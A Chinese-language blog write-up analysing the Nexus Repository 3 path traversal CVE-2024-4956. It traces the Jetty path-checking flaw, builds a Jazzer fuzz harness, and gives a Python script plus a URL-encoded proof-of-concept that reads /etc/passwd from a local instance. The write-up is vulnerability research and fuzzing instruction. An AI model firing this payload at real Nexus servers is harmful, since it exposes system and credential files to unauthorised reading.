通过 Java Fuzzing 挖掘 Nexus Repository 3 目录穿越漏洞 (CVE-2024-4956)
前言
很久之前和朋友一起挖某 SRC 的时候遇到过开放在公网的 Nexus 仓库, 但是当时也没从仓库公开的 jar 包内找到什么敏感信息, 最后也就作罢
上周三看到了赛博昆仑的漏洞通告之后想起来这件事情, 于是就花了一点时间简单分析了这个漏洞, 最后结合 Jazzer 这个 Java Fuzzing 框架得到了 PoC
这篇文章其实发的有点晚了, 不过由于自己最近也在做 Fuzzing 相关的工作, 而且 @evilpan
师傅之前也分享过 Java Fuzzing 的文章, 于是我也打算借这个目录穿越简单分享下 Java Fuzzing 在漏洞挖掘中的应用
https://evilpan.com/2023/09/09/java-fuzzing/
漏洞点
https://mp.weixin.qq.com/s/7kAEwB_FcQ2KLeiIfh0dxg
https://support.sonatype.com/hc/en-us/articles/29412417068819-Mitigations-for-CVE-2024-4956-Nexus-Repository-3-Vulnerability
先说下怎么拿源码和调试
1
2
|
docker pull sonatype/nexus3:3.68.0-java8
docker pull sonatype/nexus3:3.68.1-java8
|
把镜像内的 /opt/sonatype/nexus 目录复制出来
然后把目录下的所有 jar 都复制到同一目录下, 方便 IDEA 添加依赖
1
|
find . -name "*.jar" -exec cp {} all-lib/ \;
|
docker 调试
1
|
docker run -d -p 8081:8081 -p 5005:5005 --name nexus -e INSTALL4J_ADD_VM_PARAMS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005" sonatype/nexus3:3.68.0-java8
|
对比 nexus-base-xxx.jar, 可以发现漏洞点位于 WebResourceServiceImpl
另外官方通告提到了 reourceBase, 位于 jetty.xml
这个其实也很容易理解, 当用户访问的 URL 没有命中任何 Servlet 时, 会 fallback 到这个 public 目录
public 目录下存放的都是些静态文件, 例如 robots.txt 以及各种图片 (favicon)
随便打几个断点, 经过一些简单的动态调试, 可以发现 WebResourceServlet 会调用 WebResourceServiceImpl 的 getResource 方法
org.sonatype.nexus.internal.webresources.WebResourceServlet
这里传入的 path 不能以 /
结尾, 否则就会在后面加上 index.html
, 后续在 Fuzzing 的时候需要注意这个点
org.sonatype.nexus.internal.webresources.WebResourceServiceImpl#getResource
getResource 方法会通过三种不同的方式获取资源文件
- devModeResources: 需要手动启用开发者模式, 内部维护了一个 resourceLocations 列表, 默认为空
- resourcePaths: 即 static 目录下的各种 js 文件和图片
- this.servletContext: 即
org.eclipse.jetty.webapp.WebAppContext
, 通过 Jetty 的 WebAppContext 获取资源文件
经过测试可以发现如果我们访问 public 目录下的文件, 例如 robots.txt, 则会 fallback 到第三种方式, 也就是 org.eclipse.jetty.webapp.WebAppContext#getResource
这里其实就已经到了 Jetty 自身的逻辑, 跟 Nexus 没有关系了
直接给出调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
|
<init>:261, PathResource (org.eclipse.jetty.util.resource)
addPath:380, PathResource (org.eclipse.jetty.util.resource)
getResource:1958, ContextHandler (org.eclipse.jetty.server.handler)
getResource:389, WebAppContext (org.eclipse.jetty.webapp)
getResource:1562, WebAppContext$Context (org.eclipse.jetty.webapp)
getResource:127, WebResourceServiceImpl (org.sonatype.nexus.internal.webresources)
doGet:98, WebResourceServlet (org.sonatype.nexus.internal.webresources)
service:687, HttpServlet (javax.servlet.http)
service:790, HttpServlet (javax.servlet.http)
doServiceImpl:293, ServletDefinition (com.google.inject.servlet)
doService:283, ServletDefinition (com.google.inject.servlet)
service:184, ServletDefinition (com.google.inject.servlet)
service:71, DynamicServletPipeline (com.google.inject.servlet)
doFilter:85, FilterChainInvocation (com.google.inject.servlet)
doFilter:61, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet)
doFilter:154, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet)
doFilter:154, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:458, AbstractShiroFilter (org.apache.shiro.web.servlet)
executeChain:96, SecurityFilter (org.sonatype.nexus.security)
call:373, AbstractShiroFilter$1 (org.apache.shiro.web.servlet)
doCall:90, SubjectCallable (org.apache.shiro.subject.support)
call:83, SubjectCallable (org.apache.shiro.subject.support)
execute:387, DelegatingSubject (org.apache.shiro.subject.support)
doFilterInternal:370, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilterInternal:112, SecurityFilter (org.sonatype.nexus.security)
doFilter:154, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:112, AbstractInstrumentedFilter (com.codahale.metrics.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:116, LicensingRedirectFilter (com.sonatype.nexus.licensing.internal)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:112, AbstractInstrumentedFilter (com.codahale.metrics.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:79, ErrorPageFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:101, EnvironmentFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:98, HeaderPatternFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
dispatch:104, DynamicFilterPipeline (com.google.inject.servlet)
doFilter:133, GuiceFilter (com.google.inject.servlet)
doFilter:73, DelegatingFilter (org.sonatype.nexus.bootstrap.osgi)
doFilter:201, FilterHolder (org.eclipse.jetty.servlet)
doFilter:1626, ServletHandler$Chain (org.eclipse.jetty.servlet)
doHandle:552, ServletHandler (org.eclipse.jetty.servlet)
handle:143, ScopedHandler (org.eclipse.jetty.server.handler)
handle:600, SecurityHandler (org.eclipse.jetty.security)
handle:127, HandlerWrapper (org.eclipse.jetty.server.handler)
nextHandle:235, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1624, SessionHandler (org.eclipse.jetty.server.session)
nextHandle:233, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1440, ContextHandler (org.eclipse.jetty.server.handler)
nextScope:188, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:505, ServletHandler (org.eclipse.jetty.servlet)
doScope:1594, SessionHandler (org.eclipse.jetty.server.session)
nextScope:186, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:1355, ContextHandler (org.eclipse.jetty.server.handler)
handle:141, ScopedHandler (org.eclipse.jetty.server.handler)
handle:127, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:239, InstrumentedHandler (com.codahale.metrics.jetty9)
handle:146, HandlerCollection (org.eclipse.jetty.server.handler)
handle:127, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:516, Server (org.eclipse.jetty.server)
lambda$handle$1:487, HttpChannel (org.eclipse.jetty.server)
dispatch:-1, 1026407993 (org.eclipse.jetty.server.HttpChannel$$Lambda$1934)
dispatch:732, HttpChannel (org.eclipse.jetty.server)
handle:479, HttpChannel (org.eclipse.jetty.server)
onFillable:277, HttpConnection (org.eclipse.jetty.server)
succeeded:311, AbstractConnection$ReadCallback (org.eclipse.jetty.io)
fillable:105, FillInterest (org.eclipse.jetty.io)
run:104, ChannelEndPoint$1 (org.eclipse.jetty.io)
runTask:338, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
doProduce:315, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
tryProduce:173, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
run:131, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
run:409, ReservedThreadExecutor$ReservedThread (org.eclipse.jetty.util.thread)
runJob:883, QueuedThreadPool (org.eclipse.jetty.util.thread)
run:1034, QueuedThreadPool$Runner (org.eclipse.jetty.util.thread)
run:750, Thread (java.lang)
|
几个关键的地方
首先 path 必须以 /
开头
然后会通过 PathResource 的 addPath 方法拼接路径
addPath 方法内部会先使用 URIUtil.canonicalPath 方法进行路径标准化, 如果标准化的结果为 null, 则会抛出异常
然后会将原来的 subPath 传入 PathResource 构造函数, 得到一个新的资源路径
注意 canonicalPath 的结果并不会传入 PathResource 的构造函数, 也就是说这个过程只是个 check 而不是 sanitize
再看这个方法的具体实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
public static String canonicalPath(String path) {
if (path != null && !path.isEmpty()) {
boolean slash = true;
int end = path.length();
int i;
label68:
for(i = 0; i < end; ++i) {
char c = path.charAt(i);
switch (c) {
case '.':
if (slash) {
break label68;
}
slash = false;
break;
case '/':
slash = true;
break;
default:
slash = false;
}
}
if (i == end) {
return path;
} else {
StringBuilder canonical = new StringBuilder(path.length());
canonical.append(path, 0, i);
int dots = 1;
++i;
for(; i < end; ++i) {
char c = path.charAt(i);
switch (c) {
case '.':
if (dots > 0) {
++dots;
} else if (slash) {
dots = 1;
} else {
canonical.append('.');
}
slash = false;
continue;
case '/':
if (doDotsSlash(canonical, dots)) {
return null;
}
slash = true;
dots = 0;
continue;
}
while(dots-- > 0) {
canonical.append('.');
}
canonical.append(c);
dots = 0;
slash = false;
}
if (doDots(canonical, dots)) {
return null;
} else {
return canonical.toString();
}
}
} else {
return path;
}
}
|
这个方法如何进行路径标准化? 在什么情况下会返回 null? 可以通过以下几个 demo 直观地感受一下
1
2
3
4
5
|
URIUtil.canonicalPath("/robots.txt"); // /robots.txt
URIUtil.canonicalPath("/./etc/passwd"); // /etc/passwd
URIUtil.canonicalPath("/etc/a/b/c/../../../passwd"); // /etc/passwd
URIUtil.canonicalPath("/../etc/passwd"); // null
URIUtil.canonicalPath("/../../../etc/passwd"); // null
|
当传入的路径跳出了当前的根目录时, canonicalPath 会返回 null, 看起来是为了预防目录穿越的情况
说实话第一眼看过去我也不能立刻就想到有什么可以绕过的方法, 但是我们可以把上面这一系列的逻辑从 Jetty 中抽离出来, 使用 Fuzzing 的思路进行测试
Fuzzing
https://github.com/CodeIntelligenceTesting/jazzer
Jazzer 是一个基于 libfuzzer 的 Fuzzing 框架, 同时也被集成进了 Google 的 OSS-Fuzz
关于 libfuzzer 的使用可以参考 Google 的 fuzzing 教程
https://github.com/google/fuzzing/blob/master/tutorial/libFuzzerTutorial.md
Jazzer 本质上其实还是 libfuzzer 的套壳, 但是它针对 Java 语言层面主要做了如下的改进 (基于 Java Agent)
- 覆盖率插桩: 生成数据流图 (Control Flow Graph, CFG), 在每条边 (Edge) 上插入记录当前位置覆盖率的方法调用 (CoverageMap.recordCoverage)
- 数据流插桩: Hook 常见 Java 数据类型的比较方法 (例如 compare, indexOf, startsWith), 以及底层 JVM opcode, 将跟踪 (trace) 数据发送至 libfuzzer, 用于 fuzz 数据的 mutate
- 敏感函数 (Sink) 插桩: Hook 常见的危险函数 (例如 Runtime.exec, InitialContext.lookup, Statement.execute) 并检测是否存在危险逻辑, 思路其实与 RASP 类似
感兴趣的的师傅可以参考如下几篇文章, 以及 Jazzer 项目的源代码
https://www.code-intelligence.com/blog/java-fuzzing-with-jazzer
https://www.code-intelligence.com/blog/how-to-write-fuzz-targets-for-java-applications
https://www.code-intelligence.com/blog/on-the-fuzzing-hook
在 fuzz 之前我们需要编写 Test Harness, 即定义一个 fuzzerTestOneInput 方法, 然后在内部调用被 fuzz 的特定方法
对于这个漏洞而言, Test Harness 就是我们上述需要从 Jetty 中抽离出来的逻辑
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
package fuzz;
import com.code_intelligence.jazzer.api.FuzzedDataProvider;
import com.code_intelligence.jazzer.api.FuzzerSecurityIssueCritical;
import com.code_intelligence.jazzer.api.Jazzer;
import org.eclipse.jetty.util.URIUtil;
import org.eclipse.jetty.util.resource.PathResource;
import java.net.URI;
public class Main {
public static void fuzzerTestOneInput(FuzzedDataProvider data) {
String path = data.consumeRemainingAsAsciiString();
if (!path.startsWith("/")) return;
if (URIUtil.canonicalPath(path) == null) return;
if (path.endsWith("/")) return;
if (!path.endsWith("/etc/passwd")) return;
try {
PathResource parent = new PathResource(new URI("file:///a/b/c/d"));
PathResource child = (PathResource) parent.addPath(path);
if (child.getPath().normalize().toString().equals("/etc/passwd")) {
Jazzer.reportFindingFromHook(new FuzzerSecurityIssueCritical("success"));
}
} catch (Exception e) {
// ignore
}
}
}
|
开头前面的几个 if 用于限制 fuzz 数据的范围, 后续就是通过 PathResource 拼接路径的过程
如果拼接后的路径在 normalize 之后等于 /etc/passwd
, 那么就可以大概率认为这个数据是有效的, 然后会抛出 FuzzerSecurityIssueCritical 异常以中止 fuzz 流程
将 harness 和 Jetty 依赖打包至同一个 jar 内, 然后运行 Jazzer
1
|
./jazzer --cp="JettyFuzz.jar" --target_class="fuzz.Main" -use_value_profile=1
|
等待一会即可得到结果
当然直接用这个路径访问肯定是不行的, 因为 Jetty 会在 Servlet 处理之前对这种畸形 URL 进行一些标准化操作, 导致最终 Servlet 接收到的路径不是我们原来的路径, 解决方法是将路径完全 URL 编码后再发送
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
import requests
def urlencode(data):
enc_data = ''
for i in data:
h = str(hex(ord(i))).replace('0x', '')
if len(h) == 1:
enc_data += '%0' + h.upper()
else:
enc_data += '%' + h.upper()
return enc_data
payload = '///..//.//..///..//.././etc/passwd'
url = 'http://127.0.0.1:8081/' + urlencode(payload)
res = requests.get(url)
print(url)
print(res.text)
|
最终 PoC
1
|
http://127.0.0.1:8081/%2F%2F%2F%2E%2E%2F%2F%2E%2F%2F%2E%2E%2F%2F%2F%2E%2E%2F%2F%2E%2E%2F%2E%2F%65%74%63%2F%70%61%73%73%77%64
|
完整 harness 代码: https://github.com/X1r0z/JettyFuzz
尽管如此, 上述的 fuzz 过程其实还是存在一些问题
-
harness 经过一定的简化, 其实并不能完全还原实际场景 (如果想要做到完全还原, 那么相应的 fuzz 效率也会变低, 需要消耗更多的时间)
-
因为上面这一点, 所以 fuzz 出来的 payload 有几率出现误报, 可能需要跑多次 fuzz 拿到多个结果再进行测试
但总的来说, Java Fuzzing 技术在漏洞挖掘的过程中也还是能起到一定的帮助作用, 例如这种复杂/畸形路径的构建, 或是 @evilpan
师傅在文章中提到的特定 IP 导致的鉴权绕过